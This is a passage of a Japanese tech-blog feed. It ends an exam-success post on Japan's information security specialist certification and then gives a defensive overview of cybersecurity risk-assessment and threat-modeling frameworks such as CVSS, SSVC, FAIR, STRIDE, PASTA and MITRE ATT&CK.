<p>A君「ぼくは、SEにとって、基礎って一番重要だと思うんだ」<br>B君「へえー、じゃあ、A君の考える基礎って何を指すの？」<br>A君「それは、<strong>①大学卒業程度の学力と、②情報処理技術者試験の応用情報技術者試験（旧：ソフトウェア開発技術者）レベルの知識</strong>じゃないかな」<br>B君「えー！？ じゃあ、大学を卒業していて、応用情報技術者の資格を持っていれば良いって言うこと？　それなら、大勢いるんじゃない？」<br>A君「ごめんごめん、言葉が足りなかったね。ぼくが言いたかったのは、資格を持っているというレベルではなくて、これらの基礎知識を、いつでも瞬間的にアウトプットできるぐらい徹底的に頭の中に叩き込んでおくことが重要だってことなんだ。<strong>掛け算の九九のようにね</strong>」<br>B君「どうして、そこまでする必要があるんだ？ それに、そんな知識はちっとも仕事で役に立たないし…… 。」</p>
<p>（引用: 勝ち残りSEへの分岐点 p.98）</p>
</blockquote>
<p>そういえば、セキスペ対策と並行して進めていた英語留学準備についても、この考え方に近しい Atsueigo さんの動画（【英語学習における基礎力の重要性】 効率的な英語学習フロー／短期集中でコミットするには／適切な学習順番と時間配分 【発音／文法／単語】）をベースに、「基礎知識の暗記」を優先事項として勉強していました。</p>
<h2 id="おわりに">おわりに</h2><p>実際のところ、留学中にスマホ経由で IPA の受験者マイページにログインして、セキスペに合格していることは確認済みでした。しかしながら、自宅に届いていた「情報処理安全確保支援士試験合格証書」を見た時の熱が冷めないうちにブログ化しようと思い執筆しました。本ブログの内容が今後の試験対策等への参考となれば幸いです。</p>
<p>ここまでお付き合いいいただき、ありがとうございました。</p>
<p>PS: みなさんにとっての「基礎」について説明された書籍がありましたら、是非とも教えてください！</p>
]]></content>
    <summary type="html">半年ほどの英語留学から帰宅したら、IPA（独立行政法人 情報処理推進）から茶封筒が届いていました。開封したところ、なんと「情報処理安全確保支援士試験」の合格通知が入っていました。せっかくなので、現時点から思い出せる範囲で、私が勉強した内容や、忙しい業務や留学準備の合間でどのようにモチベーションを維持したのかをご紹介していきます。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="IPA" scheme="https://future-architect.github.io/tags/IPA/"/>
    <category term="合格記" scheme="https://future-architect.github.io/tags/%E5%90%88%E6%A0%BC%E8%A8%98/"/>
  </entry>
  <entry>
    <title>リスクアセスメント　ーリスクの可視化から意思決定までー</title>
    <link href="https://future-architect.github.io/articles/20250827a/"/>
    <id>https://future-architect.github.io/articles/20250827a/</id>
    <published>2025-08-26T15:00:00.000Z</published>
    <updated>2025-08-26T15:00:00.000Z</updated>
    <author><name>松本朝香</name></author>
    <content type="html"><![CDATA[<p>夏の自由研究2025ブログ連載の2日目です。</p>
<h2 id="はじめに">はじめに</h2><p>人生は選択の連続ですが、何を選択するかどうやって決めていますか？</p>
<p>おそらくはメリット&#x2F;デメリットを鑑みて方向性を決める方が大半だと思います。時には、どう転んでも結論は一緒の場合やメリデメで考えない場面もあるとは思いますが、巨額マネーが動くケースではそうもいきませんよね。</p>
<p>今回は、サイバーセキュリティ界隈の文脈で「リスクの可視化～意思決定」がどのように行われるのかをお話します。これはプライベートでも仕事でも、おおよそ生きていく上で役立つ考え方にも応用できると思います。</p>
<h2 id="リスクアセスメントとは">リスクアセスメントとは</h2><p>ビジネスはいかに精度よく予測して経営計画を立て、調整力と実行力で推進し、残りは運、そんな感じのポートフォリオかと思います。もちろん経営者の方の中には長年の勘やデータからは読み取れないが物理的な何某か（ex. 生きている消費者から直接感じ取る波動や世間のそわそわした感じ…etc.）などあるかと思いますが、結局現実判断としてどの程度の見込みや期待に対して、どの程度リスクをとれるのか or とれないのかをどこかのタイミングでしています。</p>
<p>サイバーセキュリティの世界でも「リスクを可視化して経営者が意思決定しやすい状態にする」活動があり、それが我々の仕事の1つ、リスクアセスメントです。</p>
<h2 id="リスクアセスメントの実践ステップ">リスクアセスメントの実践ステップ</h2><p>では、具体的にどのように進めるのでしょうか。大まかには以下のステップで行われます。</p>
<ol>
<li><strong>情報資産の特定と評価</strong><br>まず「何を守るべきか」を明確にします。顧客データベース、ウェブサイト、社内システムなどをリストアップし、それぞれが停止したり情報が漏えいしたりした場合のビジネスインパクト（機密性・完全性・可用性の観点）を評価します。情報資産管理台帳をもとに洗い出すことが多いです。</li>
<li><strong>脅威の特定と評価</strong><br>資産に対してどのような悪いことが起こりうるかを考えます。”脅威モデリング” という分野がここに該当します。</li>
<li><strong>脆弱性の特定と評価</strong><br>資産にどのような弱点があるかを評価します。</li>
<li><strong>リスクの算定</strong><br>「資産価値」「脅威」「脆弱性」を包括的に考慮し、リスクレベルを評価します。高度なアセスメントでは、評判・収益・法的・規制上のリスクといった複雑に絡み合った概念への影響をも考慮されます。</li>
<li><strong>リスク対応の決定と報告</strong><br>この結果を、「現在〇〇のリスクが年間XXXXの確率で存在しますが、対策YにZZZ投資することで、リスクを$XXに低減できます」といった形で経営層に報告し、最終的な意思決定を仰ぎます。</li>
</ol>
<p>このように、<strong>リスクアセスメント</strong> はインプットをもとに、意思決定を行うまでのプロセスを指します。</p>
<p>これとは別に、<strong>脅威モデリング</strong> という分野もあります。インプット自体をどう行うのかを作成するプロセスを指します。したがって、両者は密接に関わり、さらに前者は後者を内包し、後者は前者の中の複数のステップに関わっています。実際、どのように脅威の算出ステップを踏んでいるのか メルカリのユースケース や PURESTORAGEのユースケース を見てみましょう。こちらの記事からも分かる通り、現状では自分たちが評価しやすいように各種フレームワークやモデルをカスタマイズして利用しているところが大半です。</p>
<div class="note-container note-info"><span class="note-icon"></span><div>

<p>脅威モデリングの成否は、ステップ１のシステムの全体像の正確な可視化に大きく依存します。DFD（データフロー図）はそのための最も効果的なツールの１つであり、これを用いてデータの流れや信頼境界を明確に定義します。このDFDの精度が、後続の脅威分析の網羅性と正確性を直接的に決定づけるため、最も注力すべき工程です。</p>
</div></div>

<h3 id="フレームワーク・方法論・ナレッジベース">フレームワーク・方法論・ナレッジベース</h3><p>セキュリティの世界では、リスクを式で捉えなるべく定量化するようにフレームワーク等の確立を進めています。こうすることで客観的に表現できるよう努めています。以下に思考モデルについてまとめてみました。</p>
<img fetchpriority="high" src="/images/2025/20250827a/image.png" alt="image.png" width="905" height="591">

<p>※ナレッジベースは定量度を考慮して配置するのが難しかったため、最下部にまとめています。該当象限やカテゴリ分けが違う等ご指摘あればコメントいただけると幸いです、ブラッシュアップしたいです！</p>
<p>各ステップで用いられる思考ツールがあるので下記に紹介します。どのステップで何をどのように活用するのかは、別途執筆（or 加筆修正）予定です。</p>
<h3 id="フレームワーク：テクノロジーサイド">フレームワーク：テクノロジーサイド</h3><p>まず、テクノロジー寄りのフレームワークについてです。</p>
<h4 id="CVSS（共通脆弱性評価システム）">CVSS（共通脆弱性評価システム）</h4><p>こちら は、個別のソフトウェアなどの<strong>「脆弱性（弱点）」そのものの深刻度を評価するための世界共通の指標</strong>です。特定の企業のリスクというより、個々の弱点の危険度を0.0～10.0のスコアで示します。IT管理者が膨大な脆弱性情報の中から、対処の優先順位を判断するために広く使われています。</p>
<p>CVSSスコアは、以下の3つの基準から算出されます。</p>
<ol>
<li>基本評価基準 (Base Metrics)<br>脆弱性そのものが持つ、時間が経っても変わらない本質的な危険度。</li>
<li>現状評価基準 (Temporal Metrics)<br>攻撃コードの出現など、時間と共に変化する脅威の状況を反映した危険度。</li>
<li>環境評価基準 (Environmental Metrics)<br>組織の対策状況など、その脆弱性が存在する個別の環境に合わせた実際の危険度。</li>
</ol>
<p>詳細は 弊社FutureVuls Document へ。</p>
<h4 id="OWASP-ASVS-Application-Security-Verification-Standard">OWASP ASVS (Application Security Verification Standard)</h4><p>こちら は、<strong>検証フレームワーク</strong>です。アプリケーションが満たすべきセキュリティ要件を網羅的にリストアップしており、テストや評価の際の市場における検証範囲と厳密さのレベルを標準化することを目的としています。この標準は、Webアプリケーションのセキュリティに対する信頼レベルを確立するために使用されます。</p>
<h3 id="フレームワーク：ビジネスサイド">フレームワーク：ビジネスサイド</h3><p>ここからはビジネスサイド寄りのフレームワークになります。</p>
<h4 id="NIST-SP-800-30-ー情報システムに対するリスクマネジメントガイドー">NIST SP 800-30 ー情報システムに対するリスクマネジメントガイドー</h4><p>こちら は、技術的な脅威や脆弱性が、組織のミッションやビジネスプロセスにどのような影響を与えるかを評価するための「プロセス」そのものです。アメリカ国立標準技術研究所（NIST）が発行しているガイドラインで、特に米国政府機関やその取引先で標準的に利用されており、非常に詳細で体系的なアプローチが特徴です。技術部門からの情報（テクノロジー）と、事業部門からの情報（ビジネス）の両方をインプットとして必要とするため、両者の橋渡し役として機能します。</p>
<p>脅威、脆弱性、影響、可能性の4つの要素からリスクを評価します。リスクアセスメントのプロセスを「準備」「実施」「伝達」「維持」の4つのステップで定義しています。</p>
<h4 id="CIS-RAM-Center-for-Internet-Security-Risk-Assessment-Method">CIS RAM (Center for Internet Security Risk Assessment Method)</h4><p>こちら は、サイバーセキュリティ対策のベストプラクティス集である「CIS Controls」に基づいてリスクを評価するための手法です。この評価手法は、「どの技術的対策を、どこまで実施できているか」という技術的な実装状況を起点として実践的なセキュリティ対策とリスクアセスメントを直接結びつけられる点が特徴です。<br>CIS Controlsで定義されている具体的な対策項目（Safeguards）の導入状況を評価に組み込みます。事業への影響度や脅威の可能性を考慮し、合理的なレベルのセキュリティ対策を判断するのに役立ちます。</p>
<h4 id="COSO-ERMフレームワーク">COSO-ERMフレームワーク</h4><p>こちら は、COSO（米国トレッドウェイ委員会支援組織委員会：米国設立の民間部門主導の団体）が発行している、全社的リスクマネジメント（ERM：Enterprise Risk Management）のためのフレームワークです。サイバーセキュリティに特化したフレームワークではありませんが、事業戦略とリスク管理を統合する視点を提供するため、サイバーリスクを経営リスクの一部として位置づける際に非常に有効です。サイバー攻撃を単なるIT部門の問題ではなく、事業継続や財務、評判に影響を及ぼす「全社的な経営リスク」として捉える際に、COSO ERMの考え方が役立ちます。</p>
<p><strong>以下参考</strong></p>
<ul>
<li>Managing Cyber Risk in a Digital Age (COSO)<br>COSOが発行した、ERMフレームワークをサイバーリスク管理に適用するための公式ガイダンスです。サイバーリスクを事業リスクとして管理する方法を解説しています。</li>
<li>Integrating Cybersecurity and Enterprise Risk Management (ERM) (NIST)<br>NISTが発行したレポートで、NISTのサイバーセキュリティフレームワーク（CSF）とCOSO ERMのようなERMを統合する方法について詳しく説明しています。</li>
<li>COSOレポートの概要等について<br>金融庁検査局の専門検査官（公認会計士）が2005年に公表したもので、COSOが公表した内部統制とリスクマネジメントのフレームワークについて解説しています。</li>
<li>Why &amp; How to Incorporate Cyber Risk Management Into Enterprise Risk Management<br>病院や医療機関のリーダー層（経営者、理事会など）に向けて書かれたもので、サイバーセキュリティリスク管理を、病院全体の経営リスクを管理するERMの仕組みに統合する理由と具体的な方法を解説しています。どのように（How）統合するのかについては、<ul>
<li>意識改革<br>サイバーリスクを技術用語（ex.脆弱性, マルウェア）で語るのではなく、ビジネス用語（ex. 手術の遅延, 罰金）に翻訳して、理事会や経営層と議論する。</li>
<li>体制の構築<br>IT部門だけでなく、臨床部門、法務、財務、広報など、部門横断的なリスク管理委員会を設置する。</li>
<li>フレームワークの活用<br>NIST CSF（サイバーセキュリティフレームワーク）やCOSO ERMといった既存のフレームワークを活用し、リスクの特定、評価、対応のプロセスを標準化する。</li>
</ul>
</li>
</ul>
<p>　が挙げられています。</p>
<h3 id="フレームワーク：Biz×Tech-融合フィールド">フレームワーク：Biz×Tech 融合フィールド</h3><p>最後にビジネスとテクノロジーの中間に位置するフレームワークになります。</p>
<h4 id="SSVC">SSVC</h4><p>こちら は、 <strong>脆弱性への対応の優先順位付けを決定する</strong> ためのフレームワークです。SSVC (Stakeholder-Specific Vulnerability Categorization) は、CVSSスコアのように単一の数値で評価するのではなく、意思決定ツリーを用いて、脆弱性ごとにとるべき行動を Track（追跡）, Track*（深い追跡）, Attend（注意）, Atc（行動）の4つのカテゴリのいずれかに分類します。</p>
<p>詳細は 弊社FutureVuls Blog へ<br>SSVCにおける Human Impact 決定方法例<br>SSVCを使いこなそう 〜CISA × CERT&#x2F;CCが提案する効率的な優先度付けフレームワーク〜</p>
<p><strong>1. 損失イベントの発生頻度 (Loss Event Frequency)</strong><br>脅威がどのくらいの頻度で発生し (Threat Event Frequency)、それが自社の弱点に接触し (Contact Frequency)、攻撃が成功する (Probability of Action) のかなどを分析します。これはALEのARO (年間発生率) をより詳細に分析するプロセスに相当します。</p>
<p><strong>2. 損失の大きさ (Loss Magnitude)</strong><br>インシデントが発生した場合に、どのような損失（直接的・間接的）が出るのかを分析します。これはALEのSLE (1回あたりの損失額) をより詳細に分析するプロセスに相当します。</p>
<div class="note-container note-info note-has-title"><div class="note-title"><span class="note-icon"></span>脆弱性関連フレームワークの違い</div><div class="note-body">

<div class="scroll"><table>
<thead>
<tr>
<th align="left"></th>
<th align="left">CVSS</th>
<th align="left">SSVC</th>
</tr>
</thead>
<tbody><tr>
<td align="left"><strong>目的</strong></td>
<td align="left">脆弱性の技術的な深刻度を数値で評価</td>
<td align="left">脆弱性への対応の優先順位を決定</td>
</tr>
<tr>
<td align="left"><strong>評価対象</strong></td>
<td align="left">脆弱性そのものの特性</td>
<td align="left">脆弱性に加え、組織への影響など</td>
</tr>
<tr>
<td align="left"><strong>アウトプット</strong></td>
<td align="left">0.0～10.0までのスコア</td>
<td align="left">具体的な行動指針</td>
</tr>
<tr>
<td align="left"><strong>視点</strong></td>
<td align="left">定量的<br>普遍的・技術的</td>
<td align="left">定性的<br>組織固有の状況を考慮</td>
</tr>
</tbody></table></div>
</div></div>

<h4 id="FAIR（Factor-Analysis-of-Information-Risk）">FAIR（Factor Analysis of Information Risk）</h4><p>こちら は、サイバーセキュリティなどの情報リスクを金額（ドルや円）で定量的に評価するための国際標準の思考モデルで、CRQ（Cyber Risk Quantification）の一般的な算出方法の1つです。リスクを闇雲に見積もるのではなく、「リスクとは何か」を構成要素にまで細かく分解し、それらを論理的に積み上げて評価します。</p>
<p>「高・中・低」といった曖昧な表現ではなく、「このリスクによる年間の予想損失額はX円です」のように、ビジネス上のインパクトを具体的な金額で示すことを目的としています。FAIRでは、以下のようにリスクを大きく2つの要素（LEFとLM）に分解し、それぞれにおいてさらに要素分解して具体的に値を算出していきます。</p>
<img src="/images/2025/20250827a/image_2.png" alt="image.png" width="828" height="371" loading="lazy">

<h4 id="OWASP-SAMM-Software-Assurance-Maturity-Model">OWASP SAMM (Software Assurance Maturity Model)</h4><p>こちら は組織のソフトウェアセキュリティ体制の <strong>成熟度モデルフレームワーク</strong> です。組織がセキュリティ活動を評価し、改善していくための戦略的な指針を提供します。5つのビジネス機能と各機能にぶら下がる3つのセキュリティプラクティスで構成されています。評価は、この合計15のセキュリティプラクティスに対して行われます。</p>
<img src="/images/2025/20250827a/OWASP-SAMM-model-800.png" alt="OWASP-SAMM-model-800.png" width="833" height="411" loading="lazy">

<div class="note-container note-warn note-has-title"><div class="note-title"><span class="note-icon"></span>フレームワークの行き着く先は DOMAIN SPECIFIC</div><div class="note-body">

<p>個人的には、サイバーセキュリティ特化のフレームワークを経営のフレームワークに取り込むには <strong>業界ドメイン知識</strong> が不可欠であると考えています。今はまだ融合過渡期ですが、将来的には各業界におけるビジネスとテクノロジー融合フレームワークができると思っています。（すでに自動車業界では、課題はあるものの “TARA” というフレームワークを自動車製造現場で活用しようという動きが見られます）</p>
<p>逆に言うと、ドメイン知識なしに融合は図れないため、全業界横断的な画一的なフレームワークは実現しえない。ビジネスは変数が多く、どこに何が紐づくか、要するにどのような意味を持ったデータなのかはドメイン固有の問題であり、これを共通化や統一できないという見方をしています。</p>
<p>ビジネスの切り口は様々で、製造業・金融業などといった事業内容でカテゴリ分けもできますし、サプライヤーモデル・ライセンスモデル・人的資本モデル・知財展開モデル・仲介投資モデルなどビジネスモデルでカテゴリ分けすることも、さまざま可能だからです。ビジネスはその国特有な文化的背景も考慮しないとなりませんしね。まとめると以下が主な理由になります。</p>
<ul>
<li>リスクのコンテキストが全く異なる</li>
<li>準拠すべき法規制と監督官庁が異なる</li>
<li>バリューチェーンとビジネスモデルが異なる</li>
</ul>
</div></div>

<h3 id="方法論-Methodology">方法論 -Methodology-</h3><h4 id="OWASP-Risk-Rating-Methodology">OWASP Risk Rating Methodology</h4><p>こちら は、 ウェブアプリケーションに存在するセキュリティ上の脆弱性が、ビジネスにどれほど深刻なリスクをもたらすかを評価するための、世界標準のフレームワークです。DREADモデルよりも客観性と具体性が高く、セキュリティの専門家の間では非常に優れた方法論として知られ、デファクトスタンダード（事実上の標準）と見なされています。<br>詳細は 弊社FutureVuls Blog：OWASP Risk Rating Methodologyについて -リスクの判断- へ。</p>
<div class="note-container note-info note-has-title"><div class="note-title"><span class="note-icon"></span>OWASP Threat Dragon</div><div class="note-body">

<p>こちら は、アプリケーションやシステムの設計段階でセキュリティ上の脅威を特定し、対策を検討するためのOWASP提供の無料OSSツールです。システムの設計図を描きながら、どこにどのような危険が潜んでいるかを洗い出すため支援し、選択したコンポーネントに応じて、想定される脅威を自動で提案してくれる機能があり、分析作業を効率化します。</p>
</div></div>

<h4 id="STRIDE">STRIDE</h4><p>こちら は、Microsoftが提唱した <strong>脅威モデル化の方法論</strong> で、システムの設計段階で脅威を洗い出すために使われます。非常によく用いられるため、各々の用途に特化した亜種が複数存在します（後述）。東京都産業労働局でも中小企業向けに 紹介 しているようです。<br>STRIDEは以下の6つの観点からシステムに潜むリスク（脅威）を分析します。</p>
<div class="scroll"><table>
<thead>
<tr>
<th align="left">評価項目</th>
<th align="left">具体例</th>
</tr>
</thead>
<tbody><tr>
<td align="left"><strong>S</strong>poofing (なりすまし)</td>
<td align="left">攻撃者が正規のユーザーや別のシステムになりすまして、不正にアクセスする</td>
</tr>
<tr>
<td align="left"><strong>T</strong>ampering (改ざん)</td>
<td align="left">攻撃者がネットワークを流れるデータや、データベースに保存されている情報を不正に書き換える</td>
</tr>
<tr>
<td align="left"><strong>R</strong>epudiation (否認)</td>
<td align="left">ユーザーが「自分はその操作をしていない」と、行った行為を後から否定できるようにしてしまう</td>
</tr>
<tr>
<td align="left"><strong>I</strong>nformation disclosure（情報漏洩)</td>
<td align="left">本来アクセスが許可されていないユーザーに、個人情報や機密情報が閲覧されてしまう</td>
</tr>
<tr>
<td align="left"><strong>D</strong>enial of Service (サービス拒否)</td>
<td align="left">大量のアクセスを送りつけるなどして、システムを停止させ、正規のユーザーがサービスを使えないようにする</td>
</tr>
<tr>
<td align="left"><strong>E</strong>levation of Privilege (権限昇格)</td>
<td align="left">一般ユーザー権限しか持たない攻撃者が、何らかの不具合を悪用して、管理者権限などを奪取する</td>
</tr>
</tbody></table></div>
<p>STRIDEは、システムアーキテクチャ（ex.DFD）を見ながら以下のステップで活用するのが一般的です。</p>
<ol>
<li><strong>システムの理解と分離</strong><ul>
<li>どのような利用者がいるのか</li>
<li>どのような処理が行われるのか</li>
<li>データはどこに保管されるのか</li>
<li>コンポーネント間でどのようにデータがやり取りされるのか</li>
</ul>
</li>
<li><strong>脅威の洗い出し</strong><br>ステップ１での各要素に対してSTRIDEの6カテゴリを当てはめてどのような脅威がありうるかをブレインストーミングします。</li>
<li><strong>リスクの評価と対応</strong><br>洗い出した脅威に対して、その発生可能性や影響度を評価し、どの脅威から対処すべきか優先順位をつけます。そして、リスクを低減するための具体的な対策（ex. 多要素認証の導入、入力値の検証強化、ログの取得徹底）を検討し、設計に反映させます。それぞれの脅威が「どれほど危険か」を定量的に評価する手法として、DREAD モデルが知られていますが、<strong>評価者の主観</strong>に依存する部分が大きいため、現在ではより客観的な評価が可能なCVSS (共通脆弱性評価システム) などが使われる場面も増えています。</li>
</ol>
<h4 id="STRIDE-per-Element">STRIDE-per-Element</h4><p>こちらは、DFDの各構成要素から脅威を洗い出す方法です。まず、システムの構成についてDFDを作成し、構成要素を特定し、すべての要素に対してSTRIDEに当てはまるか判断して各要素についてリスクを洗い出しメトリクスにまとめていきます。要素としては主に以下が挙げられます。</p>
<ul>
<li>外部エンティティ</li>
<li>プロセス</li>
<li>データフロー</li>
<li>データベース</li>
</ul>
<h4 id="STRIDE-per-Interaction">STRIDE-per-Interaction</h4><p>こちらは、DFDの中から信頼境界（管理している組織やインターフェイスが変わる境界線）上の脅威を洗い出す観点で実施する方法です。信頼境界を既存のDFDに書き込み、信頼境界と交差するデータフローを特定し、それぞれについてSTRIDEに当てはまるかどうかを判断します。</p>
<p>参考） STRIDEの変化形とセキュリティ要件で導き出す脅威分析手法 FFRI：詳細記載あり。</p>
<h4 id="STRIDE-LM">STRIDE-LM</h4><p>近年では、従来のSTRIDEに加えて水平展開の概念も取り入れて評価すべきという理由から STRIDE-LM が提唱され始めています。先ほどの6項目に加え、下記が加わります。</p>
<blockquote>
<p>Lateral Movement:<br>Lateral Movement involves moving laterally within a network or system to gain access to additional resources or data. This can occur through various means, such as exploiting vulnerabilities in network protocols or using stolen credentials.</p>
<p>STRIDE-LM can help identify potential vulnerabilities related to each of these threat categories by analysing processes and identifying potential security issues. This can help organizations take a proactive approach to cybersecurity and reduce the risk of security incidents.</p>
</blockquote>
<p>参考） CyberAgentの記事：上記執筆にあたり有益な情報を提供いただき感謝しています<br>https://www.iriusrisk.com/threat-modeling-methodologies</p>
<h4 id="PASTA（Process-for-Attack-Simulation-and-Threat-Analysis）">PASTA（Process for Attack Simulation and Threat Analysis）</h4><p>こちら は、STRIDEが「この設計でどんな悪いことが起こりうるか？」という <strong>技術中心</strong> のアプローチであるのに対し、PASTAは「このビジネスにおける最悪の事態は何か？」という <strong>ビジネス中心</strong> からスタートします。</p>
<p>PASTAは以下の <strong>7ステップ</strong> でリスクを分析します。</p>
<img src="/images/2025/20250827a/a94c1d88-020c-4467-bb98-70b0e151f4ad.png" alt="" width="709" height="575" loading="lazy">

<p>特徴としては以下が挙げられます。</p>
<ul>
<li>リスク中心のアプローチ<br>ビジネス上の目的や資産価値を最初に定義し、それに紐づく脅威とリスクを評価します。</li>
<li>攻撃者の視点を重視<br>攻撃者がどのように考えるかをモデル化し、攻撃シミュレーションを通じて、現実的な脅威シナリオを洗い出します。</li>
<li>コンプライアンスとの整合<br>ビジネス要件からスタートするため、業界の規制やコンプライアンス要件（例: GDPR, PCI DSS）と連携させやすい特徴があります。</li>
</ul>
<h4 id="TRIKE（Threat-and-Risk-driven-Intelligence-based-Kill-chain-for-Embedded-systems）">TRIKE（Threat and Risk-driven Intelligence-based Kill-chain for Embedded systems）</h4><p>こちら は、前述の2つの手法（STRIDE系とPASTA）とは異なり、リスクベースでセキュリティ監査プロセスに取り組むように設計された、OSSの脅威モデリングプロセスです。他の多くの手法が「攻撃者が何をできるか」という視点から脅威を洗い出すのに対し、TRIKEは「このシステムが持つべきセキュリティ要件は何か」「どこまでのリスクなら許容できるか」というアプローチであるのが最大の特徴です。こうすることで、各資産にリスクレベルを割り当て、そのレベルがステークホルダー（利害関係者）にとって許容可能であることを保証します。</p>
<p>TRIKEのプロセスは、主に2つのモデルを作成し、それらを突き合わせることで進行します。</p>
<ul>
<li>要求モデル (Requirements Model)：システムが <strong>どうあるべきか</strong> を定義<br>このモデルは、システムのセキュリティ要件そのものを表します。<ul>
<li>資産 (Assets)<br>保護すべき対象（例: 顧客情報、商品マスター）を定義します。</li>
<li>アクター (Actors)：システムと対話する人や外部システム（例: 一般ユーザー、管理者、決済システム）を定義します。</li>
<li>アクション (Actions)：アクターが資産に対して何を行うか（作成:Create, 読取:Read, 更新:Update, 削除:Delete）を定義します。</li>
<li>リスク許容度：上記の各アクションに対して、ステークホルダーが許容できるリスクレベルを5段階評価などで設定します。</li>
</ul>
</li>
<li>実装モデル (Implementation Model)：システムが <strong>実際にどう作られているか</strong> を可視化<ul>
<li>データフロー図 (DFD): システムのコンポーネント（プロセス、データストア等）と、それらの間のデータの流れを図で表現します。これにより、システムのアーキテクチャが明確になります。</li>
</ul>
</li>
</ul>
<h4 id="OCTAVE-Allegro（Operationally-Critical-Threat-Asset-and-Vulnerability-Evaluation-）">OCTAVE Allegro（Operationally Critical Threat, Asset, and Vulnerability Evaluation ）</h4><p>こちら は、組織が情報セキュリティのリスクを評価・管理するために、カーネギーメロン大学のCERT&#x2F;CCによって開発された手法です。組織がデータ、人、機器などの包括的な資産セット全体にわたって情報セキュリティリスクを特定し、優先順位を付けるのに役立つように設計されています。</p>
<p>自己主導型のアプローチを採用しており、従業員（管理部門と運用部門）が全体的なセキュリティ戦略の策定に責任を負うため、基本的に中小企業向けのアプローチとなります。規模に応じて複数種類がありますが、Allegro は original と -S をうまくマージし、より合理的かつ効率的にリスク評価を行えるように改良されたバージョンです。下記が特徴として挙げられます。</p>
<ul>
<li>資産中心のアプローチ</li>
<li>包括的な評価範囲</li>
<li>規模に応じた柔軟性と効率性</li>
</ul>
<h4 id="EPSS-Exploit-Prediction-Scoring-System">EPSS (Exploit Prediction Scoring System)</h4><p>こちら は、特定の脆弱性が今後30日以内に悪用される確率を0%から100%（または1～10）のスコアで予測する、データ駆動型のアプローチです。まだ悪用は確認されていないものの、将来的に攻撃対象となる可能性が高い脆弱性を特定し、プロアクティブな（先を見越した）対応を可能にすることを目的としています。従来の CVSS が脆弱性自体の「技術的な深刻度（例：攻撃が成功した場合の被害の大きさ）」を評価するのに対し、EPSS は「悪用される可能性」という脅威の側面に特化しています。<br>詳細は FutureVuls Blog：EPSS入門：脆弱性管理を変革する新指標の理解と活用方法 へ。</p>
<h3 id="ナレッジベース系">ナレッジベース系</h3><h4 id="情報セキュリティ10大脅威">情報セキュリティ10大脅威</h4><p>こちら は、前年に発生した社会的に影響が大きかったと考えられる情報セキュリティにおける事案から、IPAと10大脅威選考会が協議し、決定した脅威の一覧です。</p>
<h4 id="OWASP-TOP10">OWASP TOP10</h4><p>こちら は、Webアプリケーションにおける最も重大なセキュリティリスク10項目を定期的に発表している標準リストです。非常に有名で影響力が大きく、多くの企業のセキュリティ基準や脆弱性診断のベースとなっています。</p>
<h4 id="MITRE-CWE（共通脆弱性タイプ一覧）">MITRE CWE（共通脆弱性タイプ一覧）</h4><p>こちら は、ソフトウェア業界全体で共有されている国際標準的な脆弱性種類の一覧です。プログラム上の「なぜ」脆弱性が生まれるのか、その原因（バグの種類）を分類したものです。CWEは、インシデントを引き起こす根本的な “設計ミス” や “コーディングの癖” のパターンをまとめた知識ベースであり、ソフトウェアを安全にするための土台となります。脆弱性診断の結果を理解する上で必須の知識です。</p>
<h4 id="CVE（共通脆弱性識別子）">CVE（共通脆弱性識別子）</h4><p>こちら は、個々の製品で見つかった、特定の脆弱性（セキュリティ上の欠陥）に与えられる、世界共通の固有番号です。研究開発者へおすすめな 外部リソース もまとめてくれています。</p>
<h4 id="KEV（Known-Exploited-Vulnerabilities）">KEV（Known Exploited Vulnerabilities）</h4><p>こちら は、実際に悪用が確認された脆弱性のリストです。米国のサイバーセキュリティ・社会基盤安全保障庁（CISA）が管理・公開しており、「KEVカタログ」として知られています。膨大な数の脆弱性の中から、攻撃者に現実に狙われている「今すぐ対応すべき最も危険な脆弱性」を特定し、組織が迅速に対策を講じることを支援することが目的です。特徴としては、以下が挙げられます。</p>
<ul>
<li>実績ベース<br>リストに掲載されているのは、理論上の危険性だけでなく、実際に攻撃コードが存在し、悪用されていることが確認された脆弱性に限定されます。</li>
<li>高い優先度<br>KEVに掲載された脆弱性は、対応の優先度が極めて高いと判断されます。米国の連邦政府機関に対しては、CISAが定める期限内に修正プログラム（パッチ）の適用などが義務付けられています。</li>
</ul>
<h4 id="MITRE-ATT-CK">MITRE ATT&amp;CK</h4><p>こちらは、脅威分析の中の攻撃手法に特化した体系知識を提供してくれるナレッジベースです。ATT&amp;CK は “Adversarial Tactics, Techniques, and Common Knowledge” の略です。<br>セキュリティ界隈では <strong>“超有名”</strong> なサイトですが、使い方がいまいち分からん！という方へ下記にまとめてみました。</p>
<h5 id="ユースケース">ユースケース</h5><p><strong>１）サイトへアクセス</strong><br>今回は Enterprise 用のサイトに絞ってみていきます。まず、ATT&amp;CK Navigator へ飛びます（下図赤枠クリック）</p>
<img src="/images/2025/20250827a/image_3.png" alt="image.png" width="1200" height="419" loading="lazy">

<p>攻撃対象のカテゴリと好みのUIを選びます。<br>ここでは、ほぼデフォルトで [Create New Layer] &gt; [Enterprise] を選択し下記に飛びました。<br><img src="/images/2025/20250827a/image_4.png" alt="image.png" width="1200" height="425" loading="lazy"></p>
<p><strong>２） フィルタリング項目</strong><br>フィルタリング項目は右ペインの一覧に列挙されています。<br><img src="/images/2025/20250827a/image_5.png" alt="image.png" width="1200" height="594" loading="lazy"><br>2025年8月現在は全7項目あります。文字通りの項目は説明を割愛しますが、おおよそ意味は以下の通りです。</p>
<ul>
<li><strong>Techniques（攻撃テクニック）</strong></li>
<li><strong>Thread Groups（攻撃グループ）</strong></li>
<li><strong>Software（攻撃対象ソフトウェア）</strong></li>
<li><strong>Mitigations（緩和策）</strong></li>
<li><strong>Campaigns（キャンぺーン）</strong></li>
</ul>
<p>特定の目的をもって、一定期間に行われた一連のサイバー攻撃活動のまとまり<br>多くの場合、 Thread Groups と関連づけられています。</p>
<ul>
<li><strong>Assets（資産）</strong><br>主に産業用制御システム（ICS）環境下で観測される攻撃標的となりうる物理デバイスやシステム<br>ATT&amp;CK for ICS という工場やプラント向けのフレームワークで特に重視されるため、ここで掲載している Enterprise では数としては “Assets(０)” となっていますが気になる方は ICS 要のページで閲覧すると該当数が異なると思います。</li>
<li><strong>Data Sources（データソース）</strong><br>攻撃者の Technique を検知するために、組織が収集すべきログや情報の種類<br>防御側が「何を見れば」攻撃の痕跡を見つけられるかを示したリストです。これは非常に便利ですね！</li>
</ul>
